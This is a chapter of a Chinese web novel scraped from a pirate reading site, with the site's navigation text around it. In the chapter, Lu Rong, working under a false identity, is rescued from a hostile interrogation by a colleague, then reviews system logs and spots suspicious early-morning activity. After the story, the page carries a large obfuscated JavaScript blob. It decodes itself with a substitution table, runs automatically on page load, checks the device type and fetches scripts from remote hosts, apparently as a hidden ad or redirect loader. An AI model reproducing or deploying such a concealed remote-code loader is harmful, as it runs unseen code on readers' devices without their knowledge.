首页
第4章:意外的援手
返回
关灯 护眼:关 字号:小

第4章:意外的援手

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第4章:意外的援手(第1/2页)
    路容坐在工位上,盯着电脑屏幕上的数据表格,视线却无法聚焦。
    办公室里的白炽灯发出嗡嗡的电流声,空调出风口吹出的冷风拂过她的后颈。她下意识抬手摸了摸变声器贴片的位置——皮肤上的红印已经消退,但那种灼烧感还残留在记忆里。李剑最后那句话像一根刺,扎在她喉咙深处。
    “你说话的声音,有点特别。”
    他注意到了。
    路容闭上眼睛,强迫自己深呼吸。空气里有咖啡的焦苦味、打印机墨粉的化学气味,还有同事们身上混杂的香水味。这些熟悉的气味本该让她感到安全,此刻却像一张无形的网,将她困在原地。
    她不能慌。变声器经过特殊处理,模拟的是轻微感冒时的沙哑音色,理论上没有破绽。但李剑的多疑是出了名的,任何细微的异常都可能成为他怀疑的种子。
    “若溪?”
    路容猛地睁开眼。
    林晓站在她工位旁,手里端着马克杯,脸上带着好奇的表情:“你刚才去三十八楼了?见到李总了?”
    “嗯。”路容简短地回答,手指在键盘上敲了几下,假装在工作。
    “哇,厉害啊。”林晓压低声音,“听说李总特别严格,上次市场部的小王去汇报,被问得当场哭出来了。你怎么样?”
    路容感觉到自己的心跳又开始加速。她端起桌上的水杯,喝了一口。温水滑过喉咙,稍微缓解了那种紧绷感。
    “还好。”她说,“就是问了问报告的事。”
    “那就好。”林晓松了口气似的,“对了,王总监刚才找你,让你去她办公室一趟。”
    路容的手指僵住了。
    又是办公室。
    她站起身,膝盖有些发软。从工位到总监办公室只有二十米距离,她却觉得像要走完整个马拉松。走廊两侧的玻璃隔断映出她苍白的脸,黑色镜框后的眼睛布满血丝。
    王丽的办公室门虚掩着。
    路容敲了敲门。
    “进来。”
    推开门,王丽正坐在办公桌后,手里拿着一份文件。她今天穿了件深红色的西装外套,衬得脸色更加冷峻。办公室里的光线很暗,百叶窗半拉着,只有桌上一盏台灯照亮她面前的一小片区域。
    “坐。”王丽头也不抬地说。
    路容在办公桌对面的椅子上坐下。椅子是真皮的,坐下去时会发出轻微的挤压声。她能闻到王丽身上浓烈的香水味——某种混合了檀木和麝香的昂贵品牌,像一层无形的屏障,将两人隔开。
    “李总刚才给我打了电话。”王丽终于放下文件,抬起头。她的目光像手术刀一样锐利,“他说你报告写得不错,想调你去‘深蓝计划’预研小组。”
    路容的心脏漏跳了一拍。
    “深蓝计划”——周哲手里那份文件上的名字。她终于要接触到核心了。
    “这是好事。”王丽继续说,但语气里听不出任何祝贺的意思,“不过我得提醒你,那个项目是李总亲自抓的,压力非常大。之前调过去的几个人,最短的只待了两周就申请调离。”
    她身体前倾,双手交叠放在桌面上。台灯的光从下方照上来,在她脸上投出诡异的阴影。
    “你简历上那段时间的空档期,”王丽慢慢地说,“李总好像挺在意的。他让我再跟你确认一下,那两年你到底在做什么项目?自由职业也得有个具体方向吧?”
    空气凝固了。
    路容感觉到汗水从额角渗出。办公室里的空调温度很低,但她后背的衬衫已经湿了一片。王丽的眼睛死死盯着她,等待一个答案。
    她必须回答。必须立刻给出一个听起来合理的解释。
    “主要是……”路容开口,声音因为紧张而更加干涩,“是一些中小企业的数据系统优化项目,比较零散,所以……”
    “具体是哪些企业?”王丽打断她,“有合同吗?有项目成果吗?”
    路容的喉咙像被什么东西堵住了。她张了张嘴,却发不出声音。应激障碍的症状开始浮现——视野边缘出现黑斑,耳鸣声由远及近。三年前那个场景又回来了:会议室里,所有人盯着她,李剑用平静的声音宣读那些伪造的证据……
    “王总监。”
    一个温和的男声从门口传来。
    路容和王丽同时转过头。
    周哲站在门口,手里拿着一个平板电脑。他穿着浅蓝色的衬衫,袖子挽到手肘,露出线条清晰的小臂。走廊的光从他身后照进来,在他周身勾勒出一圈淡淡的光晕。
    “抱歉打扰。”周哲走进来,朝王丽点点头,“李总让我来找若溪。‘深蓝计划’有个技术节点需要紧急处理,我们组的人手不够。”
    王丽皱了皱眉:“现在?我正问她——”
    “对,现在。”周哲的语气很礼貌,但不容置疑,“李总说这个节点关系到下周的演示,必须今天解决。”他转向路容,露出一个歉意的笑容,“王总监说你数据处理很快,我们组正好缺人帮忙核对一批接口日志。李总,能借调若溪半天吗?”
    最后这句话,他是对着王丽身后说的。
    路容这才注意到,王丽电脑屏幕上正显示着视频通话界面——李剑的脸出现在画面里。他坐在三十八楼的办公室里,背景是那面巨大的落地窗。光线从他身后照过来,让他的脸处于半明半暗之中。
    视频里的李剑沉吟了片刻。
    那几秒钟的沉默,路容能听见自己血液流动的声音。空调出风口的风吹过她的后颈,带起一阵寒意。她盯着屏幕上李剑的脸,看见他手指无意识地敲击着桌面——这是他在思考时的习惯动作,三年前她见过无数次。
    “可以。”李剑终于开口,声音透过扬声器传出来,带着轻微的电流杂音,“王总监,你那边的问题晚点再问。先让若溪去技术部。”
    王丽的脸色变了变,但很快恢复平静:“好的,李总。”
    视频通话断开。
    办公室里的空气重新开始流动。
    “走吧。”周哲对路容说,侧身让开路。
    路容站起身,膝盖还在发软。她跟着周哲走出王丽的办公室,穿过数据分析部的开放办公区。同事们投来好奇的目光,窃窃私语像蚊蝇一样在耳边嗡嗡作响。
    走进电梯,周哲按下二十五楼的按钮。
    电梯门合拢,狭小的空间里只剩下他们两个人。镜面墙壁映出两人的身影——周哲站得笔直,目光平静地看着楼层数字;路容则微微低着头,双手紧紧抓着背包带子。
    “谢谢。”她低声说。
    周哲转过头,看了她一眼。
    “不用谢。”他说,“那个技术节点确实需要人手。”顿了顿,他又补充道,“不过王总监问话的方式……确实有点咄咄逼人。”
    电梯开始下降。
    失重感让路容的胃部一阵翻搅。她靠在电梯壁上,闭上眼睛。刚才在王丽办公室里的那种窒息感还没有完全消退,喉咙里像堵着一团棉花。
    “李总问话喜欢挖细节。”周哲突然说,声音压得很低,只有他们两人能听见,“下次被问到履历,准备点具体的项目名称,哪怕是小项目。比如‘某某公司CRM系统数据清洗’、‘某某平台用户行为分析模型优化’之类的。有名字,听起来就真实多了。”
    路容猛地睁开眼睛。
    电梯里的光线很亮,白炽灯照在周哲脸上。他的表情很平静,就像在说一件再普通不过的工作建议。但路容的心脏却像被什么东西狠狠撞了一下。
    他在帮她。
    这个认知让她既感到温暖,又涌起一阵强烈的愧疚。周哲的善意是真诚的——他以为她只是一个刚入职、不擅长应对高层盘问的新人。他不知道,他此刻的帮助对象,是一个用假身份潜入公司、准备扳倒他上司的复仇者。
    “叮——”
    电梯到达二十五楼。
    门开了,一股完全不同的气息扑面而来。
    如果说数据分析部的空气是纸张、咖啡和香水混合的精致味道,那么技术部的空气就是代码、电路板和汗水交织的粗粝气息。开放办公区里摆满了双屏甚至三屏的显示器,蓝色的代码在黑色背景上滚动。键盘敲击声此起彼伏,像一场永不停歇的雨。
    空气里有种微妙的臭氧味——那是大量电子设备运行时产生的气味。还有泡面的味道、能量饮料的甜腻味,以及长时间未通风的、略显浑浊的人体气息。
    (本章未完,请点击下一页继续阅读)第4章:意外的援手(第2/2页)
    “这边。”周哲领着路容穿过一排排工位。
    技术部的人看起来和数据分析部完全不同。这里几乎没人穿正装,大多是T恤、卫衣、牛仔裤。有人戴着巨大的降噪耳机,完全沉浸在自己的世界里;有人一边啃着面包一边盯着屏幕,手指在键盘上飞舞。
    周哲的工位在靠窗的位置。
    这里相对安静一些,窗外能看到深港市的老城区——低矮的楼房、错综复杂的街巷,与江对岸的摩天大楼形成鲜明对比。工位上摆着三台显示器,其中一台显示着复杂的系统架构图,另一台是密密麻麻的日志文件,第三台则是一个实时监控仪表盘。
    “坐。”周哲从旁边拖来一把椅子。
    路容坐下,目光立刻被屏幕上的内容吸引。
    那是“深蓝计划”的接口日志文件。
    成千上万行数据在屏幕上滚动,每一行都记录着某个时间点、某个接口的调用情况。时间戳、接口ID、请求参数、响应状态、耗时……这些看似枯燥的数据,在路容眼中却像一幅缓缓展开的地图。
    她看到了熟悉的加密标记。
    虽然只是边缘日志,虽然这些接口看起来都是外围服务,但那些隐藏在参数中的、经过编码的字符串,与她三年前在天启科技见过的模式如出一辙。
    `#K3-7A-82`的变体。
    路容的手指微微颤抖。她强迫自己冷静下来,从背包里拿出自己的笔记本电脑。开机,连接公司内网,登录工作账号。一系列动作流畅自然,就像她真的只是一个来帮忙核对日志的普通员工。
    “需要核对的在这。”周哲俯身过来,指了指其中一台显示器上的一个文件夹。
    他的手臂擦过路容的肩膀。路容闻到他身上淡淡的洗衣液味道——某种清爽的草本香气,与办公室里那些浓烈的古龙水截然不同。这个味道让她有一瞬间的恍惚,仿佛回到了三年前,她还是路容的时候,在技术部通宵加班,周围都是这样简单干净的气息。
    “这些日志是过去一周的。”周哲的声音把她拉回现实,“需要核对每个接口的调用频率是否在正常范围内,异常响应有没有触发告警,还有……”他顿了顿,“有没有任何看起来像是伪装成正常请求的异常数据包。”
    路容抬起头:“异常数据包?”
    “嗯。”周哲的表情变得严肃,“‘深蓝计划’涉及的用户数据量很大,而且有些数据……比较敏感。李总特别强调过数据安全,要求我们定期排查有没有外部渗透的痕迹。”
    路容的心沉了下去。
    李剑在防范。他不仅在进行非法数据交易,还在小心翼翼地掩盖痕迹。这些日志核查,表面上是技术巡检,实际上是在清除可能暴露他的证据。
    “明白了。”路容说,声音平静得连她自己都感到惊讶。
    她开始工作。
    手指在键盘上飞舞,眼睛快速扫过一行行日志数据。这是她最擅长的领域——在海量数据中寻找模式,发现异常,还原真相。三年前,她就是凭借这种能力成为天启科技最耀眼的新星;三年后,这种能力成了她复仇的唯一武器。
    时间一分一秒过去。
    办公室里的光线逐渐变化。窗外的天空从明亮的蓝色转为温暖的橙黄,又慢慢沉入深蓝。霓虹灯亮起,老城区的街巷里亮起星星点点的灯火。
    周哲偶尔会过来看一眼进度,大多数时间都在自己的工位上忙碌。他接了几个电话,语气时而温和时而严厉,但始终保持着专业和冷静。路容偷偷观察他——他工作时的样子很专注,眉头微蹙,手指无意识地敲击桌面。这个习惯和李剑很像,但给人的感觉完全不同。
    李剑的敲击声是权力的节奏,是压迫的前奏;周哲的敲击声,更像是思考时的伴奏。
    “差不多了。”路容终于开口,声音因为长时间不说话而有些沙哑。
    周哲转过头:“怎么样?”
    “核对完了。”路容指着屏幕上的总结报告,“过去一周共有三百二十万次接口调用,其中异常响应四千七百次,都在正常波动范围内。没有发现明显的异常数据包模式。”
    她停顿了一下,补充道:“不过有个细节——每天凌晨三点到四点之间,接口调用频率会有一个小幅度的异常峰值。虽然每次峰值都不大,但连续七天都在同一时间段出现,有点奇怪。”
    周哲的眉头皱了起来。
    他走过来,俯身看向屏幕。路容能感觉到他呼吸的热气拂过她的耳畔。这个距离太近了,近得她能看清他睫毛的弧度,能闻到他身上那股干净的草本香气里,混合了一丝淡淡的咖啡味。
    “凌晨三点……”周哲喃喃自语,“这个时间段理论上应该是调用低谷。”
    “是的。”路容说,“我检查了那些调用的接口ID,都是正常的用户行为数据收集接口。参数看起来也没问题。但就是……太规律了。”
    周哲直起身,揉了揉太阳穴。
    “邪门。”他低声说,更像是在自言自语,“最近系统总在凌晨有点小波动,老吴查了几次都说硬件没问题。我本来以为是偶然现象,现在看来……”
    他没有说完。
    但路容已经记下了两个关键词。
    老吴。
    凌晨系统波动。
    她的心跳开始加速。这是一种猎手发现猎物踪迹时的本能反应——那个加密标记`#K3-7A-82`,那些凌晨的异常调用,还有周哲口中“查了几次都说硬件没问题”的老吴……这些碎片开始在她脑海中拼凑。
    “老吴是?”她假装随意地问。
    “IT部的老员工,吴建国。”周哲说,“在公司待了十几年了,技术很厉害,就是脾气有点怪,不太合群。李总让他负责核心系统的硬件维护。”
    路容点点头,没有再问。
    她关闭电脑,开始收拾东西。背包的拉链发出轻微的摩擦声,键盘上的指示灯一个个熄灭。办公室里的灯光已经全部亮起,白炽灯的光线在玻璃隔断上反射出无数个重叠的影子。
    “今天辛苦你了。”周哲说,语气真诚,“要不是你帮忙,这些日志我一个人得核对到半夜。”
    “应该的。”路容站起身,背上背包。
    她看向周哲。他站在工位旁,身后的窗外是深港市的夜景——远处江对岸的摩天大楼灯火通明,近处老城区的巷弄里烟火气缭绕。两种截然不同的世界,被一扇玻璃窗隔开,却又奇妙地共存于同一个画面中。
    就像她和周哲。
    一个是复仇的幽灵,一个是正直的技术骨干。两个本该毫无交集的人,此刻却因为一个危险的计划,站在了同一间办公室里。
    “那我先回去了。”路容说。
    “好。”周哲点点头,“明天你就正式调来预研小组了,工位我会让人准备好。早上九点,技术部会议室,有个项目启动会。”
    “我会准时到。”
    路容转身走向电梯间。
    高跟鞋踩在地板上,发出清脆的响声。技术部还有不少人在加班,键盘敲击声、低声讨论声、咖啡机运作的嗡嗡声……这些声音交织在一起,形成一种奇特的背景音。
    她按下电梯按钮。
    等待的时候,她透过走廊的玻璃窗看向外面。深港市的夜晚很美,但这种美是冰冷的、有距离的。就像她现在的人生——她站在这里,看着这座城市,却永远无法真正融入其中。她是若溪,一个虚构的身份,一个为了复仇而存在的影子。
    电梯门开了。
    路容走进去,按下二十七楼的按钮。她需要回数据分析部拿些个人物品,明天就要正式离开那里了。
    电梯开始上升。
    镜面墙壁里,她看见自己的脸——苍白,疲惫,但眼神里有一种前所未有的坚定。今天发生了太多事:李剑的试探,王丽的盘问,周哲意外的援手,还有那些凌晨的异常日志……
    所有这些,都在告诉她一件事:她的方向是对的。
    李剑确实在进行某种不可告人的操作。那些凌晨三点的数据调用,那些硬件“没问题”的系统波动,还有那个负责核心系统维护、却查不出问题的老吴……
    路容的嘴角微微扬起。
    那是一个冰冷的、几乎看不见的笑容。
    猎物已经露出了尾巴。
    现在,她只需要顺着这条尾巴,找到它的巢穴。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();